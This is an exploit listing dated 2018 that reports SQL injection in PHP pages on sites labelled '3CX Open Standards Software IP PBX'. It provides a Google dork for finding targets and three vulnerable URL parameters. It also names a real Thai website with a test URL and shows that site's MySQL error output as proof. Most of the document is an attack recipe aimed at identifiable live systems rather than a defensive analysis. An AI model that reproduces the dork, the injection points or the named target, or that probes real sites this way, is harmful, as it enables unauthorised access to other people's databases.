#################################################################################################
# Exploit Title : 3CX Open Standards Software IP PBX Thailand SQL Injection Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 19/09/2018
# Vendor Homepage : 3cx.com
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ]
#################################################################################################
# Google Dork :
intext:''3CX: Open Standards Software IP PBX''
# Exploit :
/eventdetail.php?type_id=[ID-NUMBER]&events_id=[SQL Injection]
/moreevents.php?type_id=[SQL Injection]
/newsdetail.php?type_id=[ID-NUMBER]&news_id=[SQL Injection]
#################################################################################################
# Example Site => smartlifetech.co.th/eventdetail.php?type_id=43&events_id=20%27
=> [ Proof of Concept ] => archive.is/ob0Nr
# SQL Database Error =>
SELECT * FROM events WHERE events_id=20'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near ''' at line 1
#################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#################################################################################################